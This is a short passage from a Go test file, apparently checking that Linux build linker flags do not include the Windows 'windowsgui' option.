t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
}
}